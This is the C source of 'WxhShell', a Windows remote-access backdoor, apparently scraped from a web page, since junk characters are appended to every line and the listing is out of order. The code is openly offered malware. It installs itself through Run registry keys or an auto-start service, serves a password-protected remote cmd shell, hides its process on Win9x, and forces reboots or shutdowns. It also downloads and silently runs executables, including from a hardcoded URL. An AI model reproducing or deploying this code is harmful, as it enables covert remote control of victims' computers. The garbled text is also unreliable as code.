    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <&%1pZ/6.  
    else { n{r#K_  
    closesocket(wsh); ya L W(@  
    ExitThread(0); 7U`S9DDwq  
    } 0_mvz%[J  
    break; G?d,$NMo|  
    } dKQV4dc>  
  // 获取shell ;6txTcn`=  
  case 's': { EJ ~k Z3  
    CmdShell(wsh); 3ZlGbP#3w  
    closesocket(wsh); 9Pp|d"6]y  
    ExitThread(0); PbHh?iH  
    break; hYXZ21(K#  
  } ?EQ^n3U$  
  // 退出 e=z_+gVm  
  case 'x': { akW3\(W}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Qr%Jm{_o  
    CloseIt(wsh); h4\6h  
    break; y*b.eO  
    } Cm;qDvj+u  
  // 离开 Gb|}Su  
  case 'q': { %"[dGB$S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TWR $D  
    closesocket(wsh); _d| 62VS  
    WSACleanup(); u 1{ym_  
    exit(1); 53t- 'K0l  
    break; .83v~{n  
        } 2ZG1n#  
  } *Z]WaDw  
  } L0mnU)Q}C  
"x|NG,<[9  
  // 提示信息 =8~R $z%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ki~y@@3I  
} "c/s/$k//  
  } uo4$rf7  
Az< 9hk  
  return; v^c<`i;  
} x:?a;muf  
|^PLZ>  
// shell模块句柄 Dq zA U7  
int CmdShell(SOCKET sock) /Fo/_=FE2  
{ TwuX-b  
STARTUPINFO si; x 1BOW  
ZeroMemory(&si,sizeof(si)); +|?|8"Qg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?YO =J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .FKJ yzL  
PROCESS_INFORMATION ProcessInfo; .i+* #djx  
char cmdline[]="cmd"; j|&DP-@g/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f' '{.L  
  return 0; {x|kg;  
} *F szGn<  
\|~?x#aA  
// 自身启动模式 {b,2;w}95  
int StartFromService(void) >Qm<-g  
{ k%l_N)38  
typedef struct c3V]'~  
{ *f TG8h  
  DWORD ExitStatus; L-z ;:Ztk  
  DWORD PebBaseAddress; _3.G\/>[K  
  DWORD AffinityMask; NuD[-;N]  
  DWORD BasePriority; NT@YLhs?  
  ULONG UniqueProcessId; <rB3[IJo  
  ULONG InheritedFromUniqueProcessId; E q=wdI  
}   PROCESS_BASIC_INFORMATION; m4"N+_j  
oSn! "<x  
PROCNTQSIP NtQueryInformationProcess; ~M ,{ _  
PEW4J{(W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pgLtD};S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PUP"ky^q"  
h`5YA89  
  HANDLE             hProcess; VT% KN`l  
  PROCESS_BASIC_INFORMATION pbi; #v4LoNm  
PFS;/   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5{13 V*<  
  if(NULL == hInst ) return 0; ;8ET!&k*>E  
C,A!tj7@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q(510)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V#0 dGP-Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pWs\.::B  
~)q g  
  if (!NtQueryInformationProcess) return 0; oZvA~]x9\  
C$<"w,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XXW]0{k:y  
  if(!hProcess) return 0; -AjH}A[!  
G'f9N^w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (j' {~FB  
90/vJN  
  CloseHandle(hProcess); e-X HN  
mC i[Ps  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Eh\ 1O(a(  
if(hProcess==NULL) return 0; w6T[hZ 9  
,~4H{{<j  
HMODULE hMod; VF)uu[ f9  
char procName[255]; )K~w'TUr  
unsigned long cbNeeded; HA6G)x  
2fl4h<V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 01udlW.  
X8/Tl \c  
  CloseHandle(hProcess); M[, D  *  
X rF3kz!44  
if(strstr(procName,"services")) return 1; // 以服务启动 yN*:.al  
v`JF\"}S  
  return 0; // 注册表启动 ''IoC j  
} o+nG3kRD  
dY}pN"  
// 主模块 ,c>N}*6h=W  
int StartWxhshell(LPSTR lpCmdLine) AZ[75>  
{ ;U Yc  
  SOCKET wsl; 57~Uqt  
BOOL val=TRUE; V vu(`9u]  
  int port=0; 9)`amhf>  
  struct sockaddr_in door; u~W{RHClW  
;7Y[c}V1^  
  if(wscfg.ws_autoins) Install(); n`q2s'Pc  
e}A&V+  
port=atoi(lpCmdLine); wtXY: O  
[*8Y'KX <  
if(port<=0) port=wscfg.ws_port; \m4T3fy  
.WvlaPK  
  WSADATA data; c<wavvfUo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n@!wp/J,  
I&Jt> O4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y4@gGC=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -gS"pE^1  
  door.sin_family = AF_INET; O:Va&Cyj*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k[\a)WcY8  
  door.sin_port = htons(port); M;+IZr Wkl  
?}}qu'N:N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @x1 %)1  
closesocket(wsl); vJ"i.:Gf4  
return 1; V1B(|P  
} u%u&F^y  
Z) Wnow  
  if(listen(wsl,2) == INVALID_SOCKET) { |;+qld[4z  
closesocket(wsl); pr tK:eGe2  
return 1; i?>tgmu.  
} {$d<1y^  
  Wxhshell(wsl); j8++R&1f]  
  WSACleanup(); 48O~Jx,  
^s&W>hTX:  
return 0; n[,XU|2  
+m)q%I>  
} p[9s<lEh  
,\YAnKn6_  
// 以NT服务方式启动 +5!&E7bcd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m^V5*JIh  
{ +bA%  
DWORD   status = 0; 0 Y>M=|  
  DWORD   specificError = 0xfffffff; =dZHYO^Cv  
>|g?wC}V;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &xXEnV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fBhoGA{=g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +lE90y  
  serviceStatus.dwWin32ExitCode     = 0; dtZE67KS  
  serviceStatus.dwServiceSpecificExitCode = 0; GIyF81KR 3  
  serviceStatus.dwCheckPoint       = 0; s@8w-]"  
  serviceStatus.dwWaitHint       = 0; NI aFI(  
IgIYguQ   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3B0PGvCI1  
  if (hServiceStatusHandle==0) return; %Ip*Kq-  
:Y P#  
status = GetLastError(); 7f3O  
  if (status!=NO_ERROR) @n -r-Q  
{ k V;fD$iW;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?'s6Xmd  
    serviceStatus.dwCheckPoint       = 0; Jrxz'9qRG  
    serviceStatus.dwWaitHint       = 0; oD9^ID+  
    serviceStatus.dwWin32ExitCode     = status; $q$7^ r@  
    serviceStatus.dwServiceSpecificExitCode = specificError; M|,mr~rRG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jYRP8 Yi  
    return; -' g*^  
  } 9QQyl\  
q%Yn;g|_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >w+HHs/$wK  
  serviceStatus.dwCheckPoint       = 0; 1vzb8.  
  serviceStatus.dwWaitHint       = 0; TX=yPq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 83%)/_&  
} _P?s'HH  
MUnEuhXTr  
// 处理NT服务事件,比如:启动、停止 t.p~\6Yi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }%7 NF*  
{ 3ZEB  
switch(fdwControl) MN ^Aw9U  
{ ]:>,A@7  
case SERVICE_CONTROL_STOP: qz?mh4Oh  
  serviceStatus.dwWin32ExitCode = 0; br-]fE.be  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a.N{-2ptH  
  serviceStatus.dwCheckPoint   = 0; N IdZ  
  serviceStatus.dwWaitHint     = 0; }}v9 `F  
  { GZI`jS"lU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vM:cWat  
  } I9h ?;(  
  return; #Cpd9|  
case SERVICE_CONTROL_PAUSE: g0R~&AN!g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7f rTTSZ  
  break; ls@i".[  
case SERVICE_CONTROL_CONTINUE: Bn@(zHG+5&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @)o^uU T  
  break; >leU:7  
case SERVICE_CONTROL_INTERROGATE: _XCOSomL`  
  break; 'AN>`\mR$  
}; 1-lu\"H`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cufH?Xg<  
} &f-Uyr7?  
zR2B- &]H  
// 标准应用程序主函数 .o) `m9/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QQWadVQo  
{ :VTTh |E%#  
9$2/MT't  
// 获取操作系统版本 6DH~dL_",%  
OsIsNt=GetOsVer(); : q#Xq;Wp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [Xb@Wh:yG  
ZK>WW  
  // 从命令行安装 >=[(^l  
  if(strpbrk(lpCmdLine,"iI")) Install(); ty8v 6J#  
ZYC<Wb)I  
  // 下载执行文件 &mb{.=  
if(wscfg.ws_downexe) { IiG6<|d8H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (1#J%  
  WinExec(wscfg.ws_filenam,SW_HIDE); c%MW\qx  
} I:mr}mv=i  
P9T}S  
if(!OsIsNt) { HDF |{  
// 如果时win9x,隐藏进程并且设置为注册表启动 A!h`]%0B  
HideProc(); EOCN&_Z;  
StartWxhshell(lpCmdLine); +0OLc2 )w  
} ouuuc9x]  
else R6]Gk)5  
  if(StartFromService()) %44leINx  
  // 以服务方式启动 Evedc*z~P  
  StartServiceCtrlDispatcher(DispatchTable); [PDNwh0g5  
else 0N $v"uX@  
  // 普通方式启动 U|IzXQX(  
  StartWxhshell(lpCmdLine); b:TLV`>/&  
~^1{B\I  
return 0; <i&_ooX  
} 4rLL[??  
z*a:L}$  
)v.=jup[  
i%0ur}p  
=========================================== "$YJX1u3  
T(U_  
#T'{ n1AI  
$w`=z<2yo1  
Y2~nBb  
Pu"P9  
" w|K'M?N14  
ZZzMO6US0  
#include <stdio.h> KV0]m^@x  
#include <string.h> "i[@P)  
#include <windows.h> DK: o]~n  
#include <winsock2.h> [q8 P~l  
#include <winsvc.h> k@k&}N0{  
#include <urlmon.h> K3#@SY j  
huh6t !  
#pragma comment (lib, "Ws2_32.lib") 0"28'  
#pragma comment (lib, "urlmon.lib") ).`1+b  
',JinE95  
#define MAX_USER   100 // 最大客户端连接数 GLeK'0Q@  
#define BUF_SOCK   200 // sock buffer ?kbiMs1;u  
#define KEY_BUFF   255 // 输入 buffer /rnu<Q#iH  
{Tq_7,8  
#define REBOOT     0   // 重启 YUtC.TR1  
#define SHUTDOWN   1   // 关机 C26>BU<  
K;?m';z0  
#define DEF_PORT   5000 // 监听端口 pZqq]mHK  
TJ6*t!'*X  
#define REG_LEN     16   // 注册表键长度 i@"@9n~  
#define SVC_LEN     80   // NT服务名长度 <7/R,\Wg~  
FQ<Ju.  
// 从dll定义API z[L8$7L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A$Hfr8w1u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \ `~Ly-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8]/bK5`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N4F.Y"R$(  
W$hx,VEy`  
// wxhshell配置信息 {?}E^5Z*g  
struct WSCFG { IP xiV]c  
  int ws_port;         // 监听端口 Hq:X{)"  
  char ws_passstr[REG_LEN]; // 口令 cQy2"vtU  
  int ws_autoins;       // 安装标记, 1=yes 0=no Lt?lv2k=L  
  char ws_regname[REG_LEN]; // 注册表键名 m Bu  
  char ws_svcname[REG_LEN]; // 服务名 4i)1'{e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qouhuH_WtJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ! >(7+B3E*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #Z?A2r!1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zy/@ WFPE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #rMlI3;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f-vCm 5f  
Rr&h!YMb  
}; xHv ZV<#  
K[YI4pt7  
// default Wxhshell configuration p& y<I6a,  
struct WSCFG wscfg={DEF_PORT, :~"CuB/  
    "xuhuanlingzhe", N7b8m?!  
    1, q9KHmhUD  
    "Wxhshell", N)uSG&S:  
    "Wxhshell", DR5\45v  
            "WxhShell Service",  eI$oLl@  
    "Wrsky Windows CmdShell Service",  HSjlD{R  
    "Please Input Your Password: ", -`*a'p-=  
  1, PxWT1 !  
  "http://www.wrsky.com/wxhshell.exe", q/4J.j L  
  "Wxhshell.exe" Ra)3+M!x  
    }; W9 GxXPA  
SA&Rep^  
// 消息定义模块 Ta ZmRL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "jeb%k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dyz2.ZY~2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6 a(yp3  
char *msg_ws_ext="\n\rExit."; kyR:[+je  
char *msg_ws_end="\n\rQuit."; M'?,] an  
char *msg_ws_boot="\n\rReboot..."; \tf <B\oa  
char *msg_ws_poff="\n\rShutdown..."; (5$!MUS~9  
char *msg_ws_down="\n\rSave to "; cM(:xv  
YqhAZp<  
char *msg_ws_err="\n\rErr!"; $O&b``  
char *msg_ws_ok="\n\rOK!"; lHN5Dr  
%P;lv*v.  
char ExeFile[MAX_PATH]; LM:vsG  
int nUser = 0; L*Tj^q!t+  
HANDLE handles[MAX_USER]; zGb|)A~,  
int OsIsNt; 8bTn^!1  
?&8^&brwG  
SERVICE_STATUS       serviceStatus; 2%DSUv:H%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .[]r}[lU  
l5S aT,%  
// 函数声明 F&!6jv  
int Install(void); {{$Nqn,pH  
int Uninstall(void); -o ^7r@6  
int DownloadFile(char *sURL, SOCKET wsh); l.67++_  
int Boot(int flag); 3+)J @(a  
void HideProc(void); ISYXH9V  
int GetOsVer(void); &PR5q 7  
int Wxhshell(SOCKET wsl); ^h(ew1:  
void TalkWithClient(void *cs); R6` WN  
int CmdShell(SOCKET sock); |U:k,YH  
int StartFromService(void); g#"zQvON  
int StartWxhshell(LPSTR lpCmdLine); EuZ<quwWg  
vLv@&lMW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F~,Mw8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \T4v|Pw\  
cXA i k-  
// 数据结构和表定义 52@C9Q,  
SERVICE_TABLE_ENTRY DispatchTable[] = 8H%;WU9-  
{ :tz#v`3o  
{wscfg.ws_svcname, NTServiceMain}, Tr_w]'  
{NULL, NULL} -WY<zJ  
}; :vmH]{R  
!S$:*5=&  
// 自我安装 %"q9:{m  
int Install(void) W,K;6TZhh  
{ L ^r#o-H<  
  char svExeFile[MAX_PATH]; +Zb;Vn4  
  HKEY key; LD+{o4i  
  strcpy(svExeFile,ExeFile); !]"@kl%  
{0[tNth'h  
// 如果是win9x系统,修改注册表设为自启动  |tKsgj  
if(!OsIsNt) { p\Q5,eg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {0L1X6eg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [@&m4 7  
  RegCloseKey(key); i[O& )N,c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g?c xp +  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aHV;N#Lx3  
  RegCloseKey(key); $[Sc0dzJ  
  return 0; jte.Xy~g  
    } E@z<:pG{  
  } S.mG?zbw  
} j@AIK+0Qc  
else { DEBB()6,  
RF`.xQ26=  
// 如果是NT以上系统,安装为系统服务 6O7'!@@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); & DS/v)]  
if (schSCManager!=0) uFX#`^r`  
{ Q3XpHnufu+  
  SC_HANDLE schService = CreateService z{8bvuE  
  ( c/:b.>W  
  schSCManager, l#g\X'bK  
  wscfg.ws_svcname, ;@0;pY  
  wscfg.ws_svcdisp, !eGC6o}f  
  SERVICE_ALL_ACCESS, .O DU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AgWa{.`f:  
  SERVICE_AUTO_START, s%vis{2  
  SERVICE_ERROR_NORMAL, ,cXD.y  
  svExeFile, 5us:adm[pD  
  NULL, j:Xq1f6a  
  NULL, @#l `iK  
  NULL, c_dVWh e  
  NULL, %p Ynnfr  
  NULL tl[Uw[  
  ); N,<uf@LQ  
  if (schService!=0) ZAW^/bo<  
  { FDv<\2+ c  
  CloseServiceHandle(schService); O n8v//=&  
  CloseServiceHandle(schSCManager); Oz w.siD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C>]0YO k2  
  strcat(svExeFile,wscfg.ws_svcname); mbKZJ{|4s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UZWioxsKr+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v|Pv 03%?7  
  RegCloseKey(key); Je';9(ZK  
  return 0; ,A9]CQ  
    } <h!_>:2L  
  } 2pZXZ  
  CloseServiceHandle(schSCManager); 0$(WlP |  
}  |{&{  
} R1s`z|?  
2ElJbN#  
return 1; > ;jZa  
} m1j*mtu  
AL[KpY  
// 自我卸载 #F:p-nOq  
int Uninstall(void) k}S :RK  
{ u6J8"< -W  
  HKEY key; &]Q@7Nl7:l  
@Rg/~\K  
if(!OsIsNt) { w3N[9w?1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;Y)w@bNt@  
  RegDeleteValue(key,wscfg.ws_regname); *}Xf!"I#]N  
  RegCloseKey(key); bes<qy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -TLlwxc^%  
  RegDeleteValue(key,wscfg.ws_regname); 2"COP>  
  RegCloseKey(key); B[qzUD*P_n  
  return 0; (|F*vP'  
  }  ''|W9!  
} 6S},(=  
} y$;/Vm_'  
else { 9U7nKJ+iby  
C=-=_>Q,L<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @<,X0S  
if (schSCManager!=0) Fzm*Pz3  
{ -<6\1J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +u.1 ;qF  
  if (schService!=0) %Celc#v  
  { 7 G)ZN{'  
  if(DeleteService(schService)!=0) { ]{!U@b  
  CloseServiceHandle(schService); N1}c9}  
  CloseServiceHandle(schSCManager); qjc8fP2  
  return 0; yZAS#ko}}  
  } ht|z<XJ  
  CloseServiceHandle(schService); vp1941P  
  } 'Jiw@t<o3`  
  CloseServiceHandle(schSCManager); 0*VWzH   
} }I2wjO  
} Y$o< 6[7  
60P<4  
return 1; "Hya6k>j  
} %) /s;Q,  
:1^LsLr5  
// 从指定url下载文件 H[m:0eF'5  
int DownloadFile(char *sURL, SOCKET wsh) 9 *xR6  
{ f W!a|?e$  
  HRESULT hr; lvdf^b/ j  
char seps[]= "/"; -#7'r<I9@  
char *token; j >Ht@Wi  
char *file; b`(}.r?W  
char myURL[MAX_PATH]; Q`~jw>x  
char myFILE[MAX_PATH]; q6@Lp^f  
?:pP8/y  
strcpy(myURL,sURL); $>G8_q  
  token=strtok(myURL,seps); :Hn6b$Vy8  
  while(token!=NULL) ng[Ar`  
  { oOnop-z7  
    file=token; 8k2?}/+  
  token=strtok(NULL,seps); j1^I+j)  
  } rTM}})81  
:=}BN  
GetCurrentDirectory(MAX_PATH,myFILE); -] L6=  
strcat(myFILE, "\\"); G"klu  
strcat(myFILE, file); [\'%?BH(^  
  send(wsh,myFILE,strlen(myFILE),0); yu;+o3WlK  
send(wsh,"...",3,0); bG7O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oin$-i|Xp!  
  if(hr==S_OK) +:8fC$vVfC  
return 0; 56}U8X  
else ,f<?;z  
return 1; J\/cCW-rF  
$g@=Z"  
} pSoiH<33  
S\LkL]qx  
// 系统电源模块 Y}x>t* I  
int Boot(int flag) u0 P|0\  
{ a<@1 -j<  
  HANDLE hToken; dpJ_r>NI  
  TOKEN_PRIVILEGES tkp; 0f~C#/[t7  
nePfu G]Q  
  if(OsIsNt) { rk&IlAE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lAi6sPG)0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S-P/+K6  
    tkp.PrivilegeCount = 1; E4xj?m^(y=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {`J)j6;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :S.9eFfa  
if(flag==REBOOT) { t'?.8}?)I&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V:qSy#e  
  return 0; io _1Y]N  
} $RYa6"`  
else { 8u"!dq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (^s>m,h  
  return 0; 8?J&`e/  
} M}d_I+  
  } `q?8A3A  
  else { D'7SAFOM  
if(flag==REBOOT) { t=|evOz]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y6LWx:  
  return 0; LISM ngQ.  
} M1 :uJkO.  
else { d_CKP"TA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n.T&}ZPz\v  
  return 0; { WIJC ',Y  
} \!>3SKs(e  
} ^X0P'l &D2  
4NGA/ G  
return 1; rQk<90Ar  
} I`p+Qt  
e^d0zl{  
// win9x进程隐藏模块 u6T+Cg  
void HideProc(void) ]gmexa=(i  
{ TFH\K{DM  
:axRoRg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wLmhy,  
  if ( hKernel != NULL ) 8C[C{qOJ  
  { p!>oo1&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eb.O#Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qC}-_u7s  
    FreeLibrary(hKernel); y&Mr=5:y  
  } =x!2Ak/)  
@{YS}&Q/  
return; ?!9 )q.bW  
} U@gn;@\  
wp#'nO  
// 获取操作系统版本 NPCs('cd>?  
int GetOsVer(void) |o{:ZmzM  
{ |K6REkzr  
  OSVERSIONINFO winfo; )>.&N[v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n1~o1  
  GetVersionEx(&winfo); {XNREjhm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CsTF  
  return 1; V=zi >o`   
  else |(pRaiJ  
  return 0; &{>cZh}\  
} [onGNq?#  
~Q?a|mV,  
// 客户端句柄模块 /4c\K-Z;  
int Wxhshell(SOCKET wsl) `&KwtvkdI  
{ f#?fxUH~  
  SOCKET wsh; vWRju*Z&  
  struct sockaddr_in client; 'XZ) !1N  
  DWORD myID; qp/v^$EA  
cc#gEm)3C  
  while(nUser<MAX_USER) SF&BbjBE0  
{ 0/!dUWdKH  
  int nSize=sizeof(client); "ul {d(K3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O J/,pLYu  
  if(wsh==INVALID_SOCKET) return 1; ^SxY IFL  
#>%X_o-o23  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hv8P4"i v  
if(handles[nUser]==0) <z]cyXv/  
  closesocket(wsh); Cz 72?[6  
else '<rZm=48  
  nUser++; an|x$e7|?  
  } wW#}:59}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )6+eNsxMlC  
c}y [[EX  
  return 0; #Yr9AVr}K  
} AI,(z;{P  
g{8,Wx,,  
// 关闭 socket sYjpU  
void CloseIt(SOCKET wsh) 5$wpL(:R(  
{ Sp}tD<V  
closesocket(wsh); zOGU8Wg  
nUser--; %-<'QYYP  
ExitThread(0); l'\pk<V  
} (y M^  
/r-aPJX  
// 客户端请求句柄 dw TMq*e  
void TalkWithClient(void *cs) 4"xPr[=iG  
{ L3n_ 5|  
=e8bNg  
  SOCKET wsh=(SOCKET)cs; Ma+$g1$  
  char pwd[SVC_LEN]; XK: 9r{r{  
  char cmd[KEY_BUFF]; 1.gG^$Jd  
char chr[1]; Tp0bS  
int i,j; !}4MN:r  
T}4/0yR2  
  while (nUser < MAX_USER) { CYKr\DA  
b*FC\ :\  
if(wscfg.ws_passstr) { Vo7dAHHL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _z54Ycr4H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xY$iz)^0&  
  //ZeroMemory(pwd,KEY_BUFF); 7{xh8#m  
      i=0; cZ<A0  
  while(i<SVC_LEN) { E=cwq"  
}sx_Yj  
  // 设置超时 O)Y?=G)  
  fd_set FdRead; r)i>06Hd  
  struct timeval TimeOut; <a[Yk 2  
  FD_ZERO(&FdRead); )x]3Zq  
  FD_SET(wsh,&FdRead); qY >{cjo  
  TimeOut.tv_sec=8; J@OB`2?Zv  
  TimeOut.tv_usec=0; uio@r^Xz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^mb[j`CCt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TARXx>  
kFQ8 y~>y}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CEC nq3  
  pwd=chr[0]; YG8>czC  
  if(chr[0]==0xd || chr[0]==0xa) { W$'R} L  
  pwd=0; Uz7^1.-g4  
  break; )LdyC`S\c  
  } W,K%c=  
  i++; 7#~+@'Oe  
    } %J8|zKT5t  
7c;9$j  
  // 如果是非法用户,关闭 socket #_B-4sm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Vf`7V$sr  
} )NO<s0?&  
;P;((2_X9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7y`}PMn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2>\v*adG  
fi+R2p~vs  
while(1) { n3lE, b  
C_ \q?>  
  ZeroMemory(cmd,KEY_BUFF); fS:1^A2,  
KE1ao9H8wR  
      // 自动支持客户端 telnet标准   !J =sk4T  
  j=0; Pub0IIs  
  while(j<KEY_BUFF) { Q.Aw2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =E&OuX-R  
  cmd[j]=chr[0]; (Z}>1WRju  
  if(chr[0]==0xa || chr[0]==0xd) { UYA_jpIP  
  cmd[j]=0; |8bq>01~  
  break; Q`#4W3-,  
  } ?DH"V7bs  
  j++; *0_yT$  
    } ms_ VM>l  
Bk}><H  
  // 下载文件 {T'GQz+R"  
  if(strstr(cmd,"http://")) { Fxc)}i`   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xvNo(>  
  if(DownloadFile(cmd,wsh)) %Rh;=p`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jd,)a#<j  
  else XM<KF &pVB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h7X_S4p/Mg  
  } WhBpv(q}.  
  else { qi^!GA'5j  
q4UA]+-*  
    switch(cmd[0]) { L0%hnA@  
  U6[ang'l  
